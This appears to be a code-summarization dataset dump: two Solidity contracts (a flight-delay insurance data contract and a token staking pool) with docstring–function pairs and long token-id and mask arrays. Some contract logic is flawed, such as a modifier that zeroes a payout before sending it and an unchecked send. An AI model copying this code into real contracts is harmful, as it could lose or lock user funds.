-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >=0.4.24;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
//Operation variables
bool private operational = true; // Blocks all state changes throughout the contract if false
mapping(address => bool) AuthorizedCallers;
address private contractOwner; // Account used to deploy contract
uint256 private contractBalance = 0 ether; //10 because first airline is registered and funded when contract is deployed
struct Airline { //Airline Struct
bool isRegistered;
bool isFunded;
address airlineAddress;
}
mapping(address => Airline) public RegisteredAirlines; //Registered airlines mapping
address[] private registered; //Array of airline addresses
struct Passenger { //Passenger Struct
bool isInsured;
bool[] isPaid;
uint256[] insurancePaid;
string[] flights;
}
mapping(address => Passenger) public InsuredPassengers; //Passenger mapping
//Flight to passenger mapping
mapping(string => address[]) FlightPassengers;
//Flight to totalInsured Amount mapping e.g. UA047 => 5 ETH
mapping(string => uint256) private FlightInsuredAmount;
//Passenger address to insurance payment. Stores Insurance payouts for passengers
mapping(address => uint256) private InsurancePayment;
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor(address _airline) public payable
{
contractOwner = msg.sender;
registerFirstAirline(_airline);
}
/*Events */
event Receive(uint amt);
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireAuthorizedCaller()
{
require(AuthorizedCallers[msg.sender] == true, "Caller is not authorized");
_;
}
/**
* @dev Modifier that requires the caller is a registered airline
*/
modifier requireRegisteredAirline(address _airline)
{
require(RegisteredAirlines[_airline].isRegistered == true, "Caller is not a registered airline");
_;
}
/**
* @dev Modifier that requires the caller is a funded airline
*/
modifier requireFundedAirline(address _airline)
{
require(RegisteredAirlines[_airline].isFunded == true, "Caller is not a funded airline");
_;
}
/**
* @dev Modifier that requires the caller withdraw less than or equal to owed
*/
modifier checkAmount(address passenger) {
require(InsurancePayment[passenger] > 0, "There is no payout.");
_;
InsurancePayment[passenger] = 0;
passenger.transfer(InsurancePayment[passenger]);
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational() public view returns(bool)
{
return operational;
}
/**
* @dev Authorize the calling contract
*/
function authorizeCaller(address _caller) public requireContractOwner
{
AuthorizedCallers[_caller] = true;
}
//Check if caller is authorized
function isAuthorized(address _caller) public view returns(bool)
{
return AuthorizedCallers[_caller];
}
//De-authorizes a caller
function deAuthorizeCaller(address _caller) public requireContractOwner
{
AuthorizedCallers[_caller] = false;
}
/**
* @dev check if airline is registered
*
* @return A bool
*/
function isRegistered(address airline) public view returns(bool)
{
return RegisteredAirlines[airline].isRegistered;
}
/**
* @dev check if airline is funded
*
* @return A bool
*/
function isFunded(address airline) public view returns(bool)
{
return RegisteredAirlines[airline].isFunded;
}
/**
* @dev check if passenger is insured
*
* @return A bool
*/
function isInsured(address passenger, string memory flight) public view returns(bool success)
{
//success = false;
uint index = getFlightIndex(passenger, flight);
if(index > 0)
{
success = true;
}else {
success = false;
}
return success;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode
)
external
requireContractOwner
{
operational = mode;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
function registerFirstAirline (address _airline) internal requireIsOperational
{
require(msg.sender == contractOwner, "Unauthorized to use this function");
RegisteredAirlines[_airline] = Airline({isRegistered: true, isFunded: false, airlineAddress: _airline});
registered.push(_airline);
}
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function registerAirline
(
address _airline,
address caller
)
external
requireIsOperational
requireAuthorizedCaller
requireRegisteredAirline(caller) //Check if caller is a registered airline
requireFundedAirline(caller) //Check if caller is a funded airline
returns
(
bool success
)
{
//Check if airline is already registered
require(!RegisteredAirlines[_airline].isRegistered, "Airline is already registered.");
RegisteredAirlines[_airline] = Airline({isRegistered: true, isFunded: false, airlineAddress: _airline});
success = true;
return (success);
}
/**
* @dev Get Number of airlines registered
*
*/
function _getRegisteredAirlinesNum()
external
view
requireIsOperational
returns
(
uint256 number
)
{
//Get the number of airlines registered
number = registered.length;
return number;
}
/**
* @dev Buy insurance for a flight
*
*/
function buy
(
string memory flight,
uint256 time,
address passenger,
address sender,
uint256 amount
)
public
requireIsOperational
requireAuthorizedCaller
{
//Check if flight time is less than current time. Flight already departed
//require(time > now, "Passengers cannot purchase insurance on departed or landed flights");
//contractOwner.transfer(amount);
string[] memory _flights = new string[](5);
bool[] memory paid = new bool[](5);
uint256[] memory insurance = new uint[](5);
uint index;
//If passenger already insured before
if(InsuredPassengers[passenger].isInsured == true){
//check if passenger is trying to re-insure same flight
index = getFlightIndex(passenger, flight) ;
require(index == 0, "Passenger already insured for this flight");
//Add new flight insurance info
InsuredPassengers[passenger].isPaid.push(false);
InsuredPassengers[passenger].insurancePaid.push(amount);
InsuredPassengers[passenger].flights.push(flight);
}else {
paid[0] = false; //set isPaid to false
insurance[0] = amount; //Set insurance premium amount
_flights[0] = flight; //Set flight
InsuredPassengers[passenger] = Passenger({isInsured: true, isPaid: paid, insurancePaid: insurance, flights: _flights});
}
contractBalance = contractBalance.add(amount);
FlightPassengers[flight].push(passenger);
FlightInsuredAmount[flight] = FlightInsuredAmount[flight].add(amount);
}
/**
* @dev Credits payouts to insurees
*/
function creditInsurees
(
string flight
)
external
requireIsOperational
requireAuthorizedCaller
{
//require(FlightInsuredAmount[flight] <= contractBalance, "Not enough balance to pay insurees");
address[] memory passengers = new address[](FlightPassengers[flight].length);
uint index;
uint amount = 0;
passengers = FlightPassengers[flight];
for(uint i = 0; i < passengers.length; i++){
index = getFlightIndex(passengers[i], flight) - 1;
if(InsuredPassengers[passengers[i]].isPaid[index] == false){
InsuredPassengers[passengers[i]].isPaid[index] = true;
amount = (InsuredPassengers[passengers[i]].insurancePaid[index]).mul(15).div(10);
InsurancePayment[passengers[i]] = InsurancePayment[passengers[i]].add(amount);
}
}
}
function getPassengersInsured
(
string flight
)
external
requireIsOperational
requireAuthorizedCaller
returns(address[] passengers)
{
return FlightPassengers[flight];
}
function GetInsuredAmount
(
string flight,
address passenger
)
external
requireIsOperational
requireAuthorizedCaller
returns(uint amount)
{
amount = 0;
uint index = getFlightIndex(passenger, flight) - 1;
if(InsuredPassengers[passenger].isPaid[index] == false)
{
amount = InsuredPassengers[passenger].insurancePaid[index];
}
return amount;
}
function SetInsuredAmount
(
string flight,
address passenger,
uint amount
)
external
requireIsOperational
requireAuthorizedCaller
{
uint index = getFlightIndex(passenger, flight) - 1;
InsuredPassengers[passenger].isPaid[index] = true;
InsurancePayment[passenger] = InsurancePayment[passenger].add(amount);
}
/**
* @dev Get Index array of Flight
*
*/
function getFlightIndex(address pass, string memory flight) public view returns(uint index)
{
//uint num = InsuredPassengers[pass].flights.length;
string[] memory flights = new string[](5);
flights = InsuredPassengers[pass].flights;
for(uint i = 0; i < flights.length; i++){
if(uint(keccak256(abi.encodePacked(flights[i]))) == uint(keccak256(abi.encodePacked(flight)))) {
return(i + 1);
}
}
return(0);
}
/**
* @dev Transfers eligible payout funds to insuree
*
*/
function withdraw(address payee) external payable requireIsOperational
{
require(InsurancePayment[payee] > 0, "There is no payout.");
uint amount = InsurancePayment[payee];
InsurancePayment[payee] = 0;
contractBalance = contractBalance.sub(amount);
payee.send(amount);
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
function fund
(
uint256 fundAmt,
address sender
)
public
requireIsOperational
requireAuthorizedCaller
{
RegisteredAirlines[sender].isFunded = true;
contractBalance = contractBalance.add(fundAmt);
registered.push(sender);
emit Receive(fundAmt);
}
function getFlightKey
(
address airline,
string memory flight,
uint256 timestamp
)
pure
internal
returns(bytes32)
{
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
function getFlightsInsured
(
address passenger,
string flight
)
external
view
requireIsOperational
requireAuthorizedCaller
returns
(
bool status
)
{
address[] memory passengers = FlightPassengers[flight];
status = false;
for(uint i = 0; i < passengers.length; i++){
if(passengers[i] == passenger){
status = true;
break;
}
}
}
function getFlightAmountInsured
(
string flight
)
external
view
requireIsOperational
requireAuthorizedCaller
returns
(
uint amount
)
{
amount = FlightInsuredAmount[flight];
}
function getPassengerCredits
(
address passenger
)
external
view
requireIsOperational
requireAuthorizedCaller
returns
(
uint amount
)
{
return InsurancePayment[passenger];
}
function getContractBalance() external view requireIsOperational returns(uint balance)
{
return contractBalance;
}
function getAddressBalance() public view requireIsOperational returns(uint balance)
{
return address(this).balance;
}
function receive() public payable requireIsOperational
{
}
//Function is in place for testing purposes only
function testFunction() public view requireIsOperational returns(bool success)
{
success = true;
}
function testFunction2(address passenger) public view requireIsOperational returns(uint amount)
{
//success = InsuredPassengers[passen].isInsured;
//pass = InsuredPassengers[passen];
//flights = InsuredPassengers[passen].flights[0];
//return FlightPassengers[flight][0];
amount = InsurancePayment[passenger];
InsurancePayment[passenger] = 0;
amount = InsurancePayment[passenger];
//contractBalance = contractBalance.sub(amount);
//amount = contractBalance;
//index = index.add(1);
//InsurancePayment[FlightPassengers[flight][0]].add(1);
return amount;
}
/**
* @dev Fallback function for funding smart contract.
*
*/
function()
external
payable
{
receive();
}
}
| set isPaid to false
| paid[0] = false; | 5,433,238 | [
1,
542,
353,
16507,
350,
358,
629,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
30591,
63,
20,
65,
273,
629,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.6.6;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./CheckToken.sol";
// ForkLaunch is a smart contract for distributing CHECK by asking user to stake the FORK token.
contract IDFO is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using SafeERC20 for CheckToken;
// Info of each user.
struct UserInfo {
uint256 amount; // How many Staking tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
uint256 bonusDebt; // Last block that user exec something to the pool.
//
// We do some fancy math here. Basically, any point in time, the amount of CHECKs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accCheckPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws Staking tokens to a pool. Here's what happens:
// 1. The pool's `accCheckPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
address stakeToken; // Address of Staking token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. CHECKs to distribute per block.
uint256 lastRewardBlock; // Last block number that CHECKs distribution occurs.
uint256 accCheckPerShare; // Accumulated CHECKs per share, times 1e12. See below.
uint256 projectId;
uint256 lpSupply;
uint256 accCheckPerShareTilBonusEnd; // Accumated CHECKs per share until Bonus End.
}
// The Check TOKEN!
CheckToken public check;
// Dev address.
address public devaddr;
// CHECK tokens created per block.
uint256 public checkPerBlock;
// muliplier
uint256 public BONUS_MULTIPLIER = 1;
// Block number when bonus CHECK period ends.
uint256 public bonusEndBlock;
// Bonus lock-up in BPS
uint256 public bonusLockUpBps;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes Staking tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when CHECK mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event DepositCheckToCashPool(address indexed user, uint256 indexed pid, uint256 amount);
event CashedCheck(address indexed user, uint256 indexed pid, uint256 amount, uint256 pending);
constructor(
CheckToken _check,
address _devaddr,
uint256 _checkPerBlock,
uint256 _startBlock,
uint256 _bonusLockupBps,
uint256 _bonusEndBlock
) public {
BONUS_MULTIPLIER = 0;
totalAllocPoint = 0;
check = _check;
devaddr = _devaddr;
checkPerBlock = _checkPerBlock;
bonusLockUpBps = _bonusLockupBps;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
/**
* setting
*/
// Update dev address by the previous dev.
function setDev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
function updateCheckPerBlock(uint256 _checkPerBlock) public onlyOwner {
checkPerBlock = _checkPerBlock;
}
// Set Bonus params. bonus will start to accu on the next block that this function executed
// See the calculation and counting in test file.
function setBonus(
uint256 _bonusMultiplier,
uint256 _bonusEndBlock,
uint256 _bonusLockUpBps
) public onlyOwner {
require(_bonusEndBlock > block.number, "setBonus: bad bonusEndBlock");
require(_bonusMultiplier > 1, "setBonus: bad bonusMultiplier");
BONUS_MULTIPLIER = _bonusMultiplier;
bonusEndBlock = _bonusEndBlock;
bonusLockUpBps = _bonusLockUpBps;
}
function updatePoolPorjectId(uint256 _pid, uint256 _projectId) public onlyOwner {
poolInfo[_pid].projectId = _projectId;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
function add(
uint256 _projectId,
uint256 _allocPoint,
address _stakeToken,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
require(_stakeToken != address(0), "add: not stakeToken addr");
// check exisit
require(!isDuplicatedPool(_projectId, _stakeToken), "add: stakeToken dup");
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
projectId: _projectId,
stakeToken: _stakeToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accCheckPerShare: 0,
accCheckPerShareTilBonusEnd: 0,
lpSupply: 0
})
);
}
// Update the given pool's CHECK allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 prevAllocPoint = poolInfo[_pid].allocPoint;
poolInfo[_pid].allocPoint = _allocPoint;
if (prevAllocPoint != _allocPoint) {
totalAllocPoint = totalAllocPoint.sub(prevAllocPoint).add(_allocPoint);
}
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _lastRewardBlock, uint256 _currentBlock) public view returns (uint256) {
if (_currentBlock <= bonusEndBlock) {
return _currentBlock.sub(_lastRewardBlock).mul(BONUS_MULTIPLIER);
}
if (_lastRewardBlock >= bonusEndBlock) {
return _currentBlock.sub(_lastRewardBlock);
}
// This is the case where bonusEndBlock is in the middle of _lastRewardBlock and _currentBlock block.
return bonusEndBlock.sub(_lastRewardBlock).mul(BONUS_MULTIPLIER).add(_currentBlock.sub(bonusEndBlock));
}
/**
* core
*/
function isDuplicatedPool(uint256 _projectId, address _stakeToken) public view returns (bool) {
uint256 length = poolInfo.length;
for (uint256 _pid = 0; _pid < length; _pid++) {
if( poolInfo[_pid].projectId == _projectId && poolInfo[_pid].stakeToken == _stakeToken) return true;
}
return false;
}
// View function to see pending CHECKs on frontend.
function pendingCheck(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accCheckPerShare = pool.accCheckPerShare;
uint256 lpSupply = pool.lpSupply;
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 checkReward = multiplier.mul(checkPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accCheckPerShare = accCheckPerShare.add(checkReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accCheckPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpSupply;
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 checkReward = multiplier.mul(checkPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
check.mint(devaddr, checkReward.div(10));
check.mint(address(this), checkReward);
pool.accCheckPerShare = pool.accCheckPerShare.add(checkReward.mul(1e12).div(lpSupply));
// update accCheckPerShareTilBonusEnd
if (block.number <= bonusEndBlock) {
check.lock(devaddr, checkReward.div(10).mul(bonusLockUpBps).div(10000));
pool.accCheckPerShareTilBonusEnd = pool.accCheckPerShare;
}
if(block.number > bonusEndBlock && pool.lastRewardBlock < bonusEndBlock) {
uint256 checkBonusPortion = bonusEndBlock.sub(pool.lastRewardBlock).mul(BONUS_MULTIPLIER).mul(checkPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
check.lock(devaddr, checkBonusPortion.div(10).mul(bonusLockUpBps).div(10000));
pool.accCheckPerShareTilBonusEnd = pool.accCheckPerShareTilBonusEnd.add(checkBonusPortion.mul(1e12).div(lpSupply));
}
pool.lastRewardBlock = block.number;
}
// Deposit Staking tokens to FairLaunchToken for CHECK allocation.
function deposit(uint256 _pid, uint256 _amount) public {
require(_pid < poolInfo.length, 'pool is not existed');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) _harvest(_pid);
IERC20(pool.stakeToken).safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accCheckPerShare).div(1e12);
user.bonusDebt = user.amount.mul(pool.accCheckPerShareTilBonusEnd).div(1e12);
pool.lpSupply = pool.lpSupply.add(_amount);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw Staking tokens from FairLaunchToken.
function withdraw(uint256 _pid, uint256 _amount) public {
_withdraw(_pid, _amount);
}
function withdrawAll(uint256 _pid) public {
_withdraw(_pid, userInfo[_pid][msg.sender].amount);
}
function _withdraw(uint256 _pid, uint256 _amount) internal {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
_harvest(_pid);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accCheckPerShare).div(1e12);
user.bonusDebt = user.amount.mul(pool.accCheckPerShareTilBonusEnd).div(1e12);
pool.lpSupply = pool.lpSupply.sub(_amount);
if (pool.stakeToken != address(0)) {
IERC20(pool.stakeToken).safeTransfer(address(msg.sender), _amount);
}
emit Withdraw(msg.sender, _pid, _amount);
}
// Harvest CHECKs earn from the pool.
function harvest(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
_harvest(_pid);
user.rewardDebt = user.amount.mul(pool.accCheckPerShare).div(1e12);
user.bonusDebt = user.amount.mul(pool.accCheckPerShareTilBonusEnd).div(1e12);
}
function _harvest(uint256 _pid) internal {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount > 0, "nothing to harvest");
uint256 pending = user.amount.mul(pool.accCheckPerShare).div(1e12).sub(user.rewardDebt);
require(pending <= check.balanceOf(address(this)), "wtf not enough check");
uint256 bonus = user.amount.mul(pool.accCheckPerShareTilBonusEnd).div(1e12).sub(user.bonusDebt);
_safeCheckTransfer(msg.sender, pending);
check.lock(msg.sender, bonus.mul(bonusLockUpBps).div(10000));
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
IERC20(pool.stakeToken).safeTransfer(address(msg.sender), user.amount);
user.amount = 0;
user.rewardDebt = 0;
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
}
// Safe check transfer function, just in case if rounding error causes pool to not have enough CHECKs.
function _safeCheckTransfer(address _to, uint256 _amount) internal {
uint256 checkBal = check.balanceOf(address(this));
if (_amount > checkBal) {
check.transfer(_to, checkBal);
} else {
check.transfer(_to, _amount);
}
}
}
| Deposit Staking tokens to FairLaunchToken for CHECK allocation. | function deposit(uint256 _pid, uint256 _amount) public {
require(_pid < poolInfo.length, 'pool is not existed');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) _harvest(_pid);
IERC20(pool.stakeToken).safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accCheckPerShare).div(1e12);
user.bonusDebt = user.amount.mul(pool.accCheckPerShareTilBonusEnd).div(1e12);
pool.lpSupply = pool.lpSupply.add(_amount);
emit Deposit(msg.sender, _pid, _amount);
}
| 2,491,833 | [
1,
758,
1724,
934,
6159,
2430,
358,
478,
1826,
9569,
1345,
364,
14565,
13481,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
443,
1724,
12,
11890,
5034,
389,
6610,
16,
2254,
5034,
389,
8949,
13,
1071,
225,
288,
203,
565,
2583,
24899,
6610,
411,
2845,
966,
18,
2469,
16,
296,
6011,
353,
486,
20419,
8284,
203,
565,
8828,
966,
2502,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
565,
25003,
2502,
729,
273,
16753,
63,
67,
6610,
6362,
3576,
18,
15330,
15533,
203,
565,
1089,
2864,
24899,
6610,
1769,
203,
565,
309,
261,
1355,
18,
8949,
405,
374,
13,
389,
30250,
26923,
24899,
6610,
1769,
203,
565,
467,
654,
39,
3462,
12,
6011,
18,
334,
911,
1345,
2934,
4626,
5912,
1265,
12,
2867,
12,
3576,
18,
15330,
3631,
1758,
12,
2211,
3631,
389,
8949,
1769,
203,
565,
729,
18,
8949,
273,
729,
18,
8949,
18,
1289,
24899,
8949,
1769,
203,
565,
729,
18,
266,
2913,
758,
23602,
273,
729,
18,
8949,
18,
16411,
12,
6011,
18,
8981,
1564,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
1769,
203,
565,
729,
18,
18688,
407,
758,
23602,
273,
729,
18,
8949,
18,
16411,
12,
6011,
18,
8981,
1564,
2173,
9535,
56,
330,
38,
22889,
1638,
2934,
2892,
12,
21,
73,
2138,
1769,
203,
565,
2845,
18,
9953,
3088,
1283,
273,
2845,
18,
9953,
3088,
1283,
18,
1289,
24899,
8949,
1769,
203,
565,
3626,
4019,
538,
305,
12,
3576,
18,
15330,
16,
389,
6610,
16,
389,
8949,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
